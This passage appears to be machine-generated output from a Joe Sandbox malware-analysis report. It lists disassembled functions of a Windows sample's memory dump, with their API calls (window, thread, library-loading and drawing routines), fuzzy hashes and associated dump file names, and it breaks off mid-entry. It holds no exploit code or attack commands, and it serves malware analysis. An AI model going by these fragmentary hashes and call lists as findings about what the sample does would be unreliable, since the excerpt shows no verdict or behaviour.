Opcode Fuzzy Hash: 74c673c7ba15427b3b8e2d1f57a76d8d6a56942bc2d507ff87dbc9a9fce72ec2
Instruction Fuzzy Hash: EC21BA31E11109EFDF00DFA4C948BEEB7F9EFA4344F184459E505AB241E731AAA4CBA0

Function 00242782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 0024280A
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00242824
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00242832
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00242840

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 994fa81c744c548c0135cb3c50bc3e97c3038450beb63613342b532125331750
Instruction ID: 886d01a70823238aa48835d5290b49a64e2c1b347a2ccb3b16c4b2266bb6c961
Opcode Fuzzy Hash: 994fa81c744c548c0135cb3c50bc3e97c3038450beb63613342b532125331750
Instruction Fuzzy Hash: 82212435215111EFD7189B25C844FAAB799EF45324F648148F4168B6D2CB71FC46CBA0

Function 002178F5 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00218D7D: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,0021790A,?,000000FF,?,00218754,00000000,?,0000001C,?,?), ref: 00218D8C
Part of subcall function 00218D7D: lstrcpyW.KERNEL32(00000000,?,?,0021790A,?,000000FF,?,00218754,00000000,?,0000001C,?,?,00000000), ref: 00218DB2
Part of subcall function 00218D7D: lstrcmpiW.KERNEL32(00000000,?,0021790A,?,000000FF,?,00218754,00000000,?,0000001C,?,?), ref: 00218DE3

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,00218754,00000000,?,0000001C,?,?,00000000), ref: 00217923
lstrcpyW.KERNEL32(00000000,?,?,00218754,00000000,?,0000001C,?,?,00000000), ref: 00217949
lstrcmpiW.KERNEL32(00000002,cdecl,?,00218754,00000000,?,0000001C,?,?,00000000), ref: 00217984

Strings

cdecl, xrefs: 0021797B

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 1b05c1246497d5db439eb7f321a415daa0c7a677fc767fea6f3642b1c7eebab6
Instruction ID: 7e9e6a858d887f3940daacbe001d6429d043902a11c135ce137435a71f747cff
Opcode Fuzzy Hash: 1b05c1246497d5db439eb7f321a415daa0c7a677fc767fea6f3642b1c7eebab6
Instruction Fuzzy Hash: 4011293A210342ABCB159F38D844EBA77F5FFA5350B10402EF906C72A4EB31D861C791

Function 00247CC2 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 00247D0B
SetWindowLongW.USER32(00000000,000000F0,?), ref: 00247D2A
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00247D42
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,0022B7AD,00000000), ref: 00247D6B

Part of subcall function 001C9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 001C9BB2

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: 45239a6904f1960c4c68838be6fd2f654cca10cbe1fd6291f4fe2d33a6bc67f7
Instruction ID: 32acb6291345bd602c617c58adc032187c8ec5c73a09621630ba991a2a45a8ea
Opcode Fuzzy Hash: 45239a6904f1960c4c68838be6fd2f654cca10cbe1fd6291f4fe2d33a6bc67f7
Instruction Fuzzy Hash: F6117235625615EFCB149F68DC08E6A3BA9AF46360B258724F839D72F0D7309D61CB50

Function 00245660 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001060,?,00000004), ref: 002456BB
_wcslen.LIBCMT ref: 002456CD
_wcslen.LIBCMT ref: 002456D8
SendMessageW.USER32(?,00001002,00000000,?), ref: 00245816

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSend_wcslen
String ID:
API String ID: 455545452-0
Opcode ID: ab2c881845e8269cdb02c9fcf3c7d99b509109784f3ccd365017a233ddf49ef0
Instruction ID: fb5e3f39cf90e841fd4b67f2ec1e12d082d13baece56d770595f6f00a7bdc613
Opcode Fuzzy Hash: ab2c881845e8269cdb02c9fcf3c7d99b509109784f3ccd365017a233ddf49ef0
Instruction Fuzzy Hash: 94112975620625A7EF28DF75CC85AEE776CFF11364F104026F955D6082E7B0C9A0CB60

Function 001E1D09 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea7ddf415f9373d6e2cb4327d415af75b9d85d609afbec2b59853f581e1be946
Instruction ID: 6c1307b9677ef7409fd09025f993537640a98483b66bff9d7f8dd4420b65e366
Opcode Fuzzy Hash: ea7ddf415f9373d6e2cb4327d415af75b9d85d609afbec2b59853f581e1be946
Instruction Fuzzy Hash: F801A2B2206EDA3EF61126BA7CC9F6F661CEF917B8B310325F525521D2DB718C004270

Function 00211A27 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00211A47
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00211A59
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00211A6F
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00211A8A

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 0806d2366ca76ae69aec9e6bb4e110cf8eab5d6bff9ae99ad90b327ce00b3da7
Instruction ID: 34b042461d4271d4702ad5bc90baf0d040db868d2f4d1fe3d8e1985c1438128c
Opcode Fuzzy Hash: 0806d2366ca76ae69aec9e6bb4e110cf8eab5d6bff9ae99ad90b327ce00b3da7
Instruction Fuzzy Hash: AD11F73A901219FFEB119FA5C985FEDBBB8EF18750F200091EA04B7294D6716E60DB94

Function 0021E1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0021E1FD
MessageBoxW.USER32(?,?,?,?), ref: 0021E230
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 0021E246
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0021E24D

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: a5dfc5267b92e1239d9bafa0006642c4a5c09e4d8a65ff3533fda554eb53ced6
Instruction ID: 9b55131b76df1ada7a6e35a564ade91030c19dabacc1ac7ceaf39405da6d8229
Opcode Fuzzy Hash: a5dfc5267b92e1239d9bafa0006642c4a5c09e4d8a65ff3533fda554eb53ced6
Instruction Fuzzy Hash: A111087AA05255BBCB019FACBC0DADE7FEC9B46321F104255FC14D3291D2B08D1087A0

Function 001DD1CC Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,001DCFF9,00000000,00000004,00000000), ref: 001DD218
GetLastError.KERNEL32 ref: 001DD224
__dosmaperr.LIBCMT ref: 001DD22B
ResumeThread.KERNEL32(00000000), ref: 001DD249

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: a6adcb65cab897b99e9c97dd75b419f05631ec44da6c050e6a30cbab38dd5ccc
Instruction ID: 3d9def08cad7f398fb07fdcce8ea70e98293ad16e394ab9008559afcab3769d9
Opcode Fuzzy Hash: a6adcb65cab897b99e9c97dd75b419f05631ec44da6c050e6a30cbab38dd5ccc
Instruction Fuzzy Hash: 3001D6368051047BC7115BA9EC09BAE7B6DDF92730F20025AF925922D0CF71C901C6A0

Function 00249EF3 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 001C9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 001C9BB2

GetClientRect.USER32(?,?), ref: 00249F31
GetCursorPos.USER32(?), ref: 00249F3B
ScreenToClient.USER32(?,?), ref: 00249F46
DefDlgProcW.USER32(?,00000020,?,00000000,?,?,?), ref: 00249F7A

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 133bf9917c9755c989858c2751571264933a5c9541896d346abc9cdc70b66506
Instruction ID: 35c7cc03b9c66d638ebb912b144c1cefef98884adc6c73837e09603b226e1e42
Opcode Fuzzy Hash: 133bf9917c9755c989858c2751571264933a5c9541896d346abc9cdc70b66506
Instruction Fuzzy Hash: BC11883691111AABDB04DF68D84ADEE77B8FB46301F110451F801E3440C330BEA6CBA1

Function 001B600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 001B604C
GetStockObject.GDI32(00000011), ref: 001B6060
SendMessageW.USER32(00000000,00000030,00000000), ref: 001B606A

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: b06efbbd13ed695559e87efefc89f13d1299a370ae90ce448b6793ecf75503ba
Instruction ID: 19635888d2630bdddcbfa0365adb37355365b5685f4eb64c365eb326a6e735ef
Opcode Fuzzy Hash: b06efbbd13ed695559e87efefc89f13d1299a370ae90ce448b6793ecf75503ba
Instruction Fuzzy Hash: 7C11AD72102508BFEF165FA5DC48EFABB6DFF293A4F100205FA0456020D73A9C60DBA0

Function 001D3B3C Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 001D3B56

Part of subcall function 001D3AA3: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 001D3AD2
Part of subcall function 001D3AA3: ___AdjustPointer.LIBCMT ref: 001D3AED

_UnwindNestedFrames.LIBCMT ref: 001D3B6B
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 001D3B7C
CallCatchBlock.LIBVCRUNTIME ref: 001D3BA4

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction ID: 0fc5c3f0fb3fc0332af9ca935901b6af4b2eabcb1b283d3885431be9c6ccb54d
Opcode Fuzzy Hash: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction Fuzzy Hash: 74010C32100149BBDF125F95CC46EEB7F6DEF58794F04401AFE5896221C732E961EBA1

Function 001E3073 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,001B13C6,00000000,00000000,?,001E301A,001B13C6,00000000,00000000,00000000,?,001E328B,00000006,FlsSetValue), ref: 001E30A5
GetLastError.KERNEL32(?,001E301A,001B13C6,00000000,00000000,00000000,?,001E328B,00000006,FlsSetValue,00252290,FlsSetValue,00000000,00000364,?,001E2E46), ref: 001E30B1
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,001E301A,001B13C6,00000000,00000000,00000000,?,001E328B,00000006,FlsSetValue,00252290,FlsSetValue,00000000), ref: 001E30BF

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: a18666c0fb911000ca46700c93a8239eb28ff68a2c63922a3697d1118b4870b2
Instruction ID: f2f58d412ec4a7fdc1110c199268a5cf0e2095104ee7890ea031454904b5f123
Opcode Fuzzy Hash: a18666c0fb911000ca46700c93a8239eb28ff68a2c63922a3697d1118b4870b2
Instruction Fuzzy Hash: 27012036302B62ABCB318B7FBC4C96F7B989F45771B210620F925D3140C721D901C6E0

Function 00217464 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 0021747F
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00217497
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 002174AC
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 002174CA

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: c02e93e7e088ae64996c99483d44a2a636d0da1588a58efc7b1eacc090ed7ef7
Instruction ID: 8ec2ef8c24f87e40661a09cf62f8d1722fea076c279dd6ef3ea788981da6137c
Opcode Fuzzy Hash: c02e93e7e088ae64996c99483d44a2a636d0da1588a58efc7b1eacc090ed7ef7
Instruction Fuzzy Hash: DC11A1B92163119BF7208F18ED08BD27BFCEB40B00F208569A656D6151D7B0E994DB60

Function 0021B0A8 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0021ACD3,?,00008000), ref: 0021B0C4
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0021ACD3,?,00008000), ref: 0021B0E9
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0021ACD3,?,00008000), ref: 0021B0F3
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0021ACD3,?,00008000), ref: 0021B126

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 501f6f820439e89bcb16d278d24e2bd43d8f5d6dd01a5ba8e6179adf5acda401
Instruction ID: 4927eb5dc75630c05a96cdd957a40fcb7ed292791f356227b147d6b7c0e59804
Opcode Fuzzy Hash: 501f6f820439e89bcb16d278d24e2bd43d8f5d6dd01a5ba8e6179adf5acda401
Instruction Fuzzy Hash: 4211A130C1251DE7CF019FE8E9586EEBBB8FF1A310F214095D949B2141CB3055A08B51

Function 00247E14 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00247E33
ScreenToClient.USER32(?,?), ref: 00247E4B
ScreenToClient.USER32(?,?), ref: 00247E6F
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00247E8A

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 2191fa4f4dc2c79f64f77e7e4f242f26988a59e8155f1d2a02dee7f3ad0b25c1
Instruction ID: 84d624370a6f678d4884b6df1131e464c6d71362495975799494a970b2dad03f
Opcode Fuzzy Hash: 2191fa4f4dc2c79f64f77e7e4f242f26988a59e8155f1d2a02dee7f3ad0b25c1
Instruction Fuzzy Hash: 841156B9D0020AAFDB41DF98D8849EEBBF9FF09310F509156E915E3210D735AA54CF50

Function 00212DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00212DC5
GetWindowThreadProcessId.USER32(?,00000000), ref: 00212DD6
GetCurrentThreadId.KERNEL32 ref: 00212DDD
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00212DE4

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 6f8e876f27b673075ebec30b7f7e2bc9da9702f2addf5e113b876046859d1cb9
Instruction ID: 47e07f005e9bd3e3d8dc2e2436fac6ec2cd3a24e95ece2820a7f8999b6869e36
Opcode Fuzzy Hash: 6f8e876f27b673075ebec30b7f7e2bc9da9702f2addf5e113b876046859d1cb9
Instruction Fuzzy Hash: 3CE09275212628BBD7201FB6FC0DFEB3EACEF93BA1F214015F105D10809AA1C894C6B0

Function 00248863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 001C9639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 001C9693
Part of subcall function 001C9639: SelectObject.GDI32(?,00000000), ref: 001C96A2
Part of subcall function 001C9639: BeginPath.GDI32(?), ref: 001C96B9
Part of subcall function 001C9639: SelectObject.GDI32(?,00000000), ref: 001C96E2

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00248887
LineTo.GDI32(?,?,?), ref: 00248894
EndPath.GDI32(?), ref: 002488A4
StrokePath.GDI32(?), ref: 002488B2

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 1ab9da0c59b84c59bba9375d4036d41391cfc4fc0f4a9fe2f9c4a5e457e25623
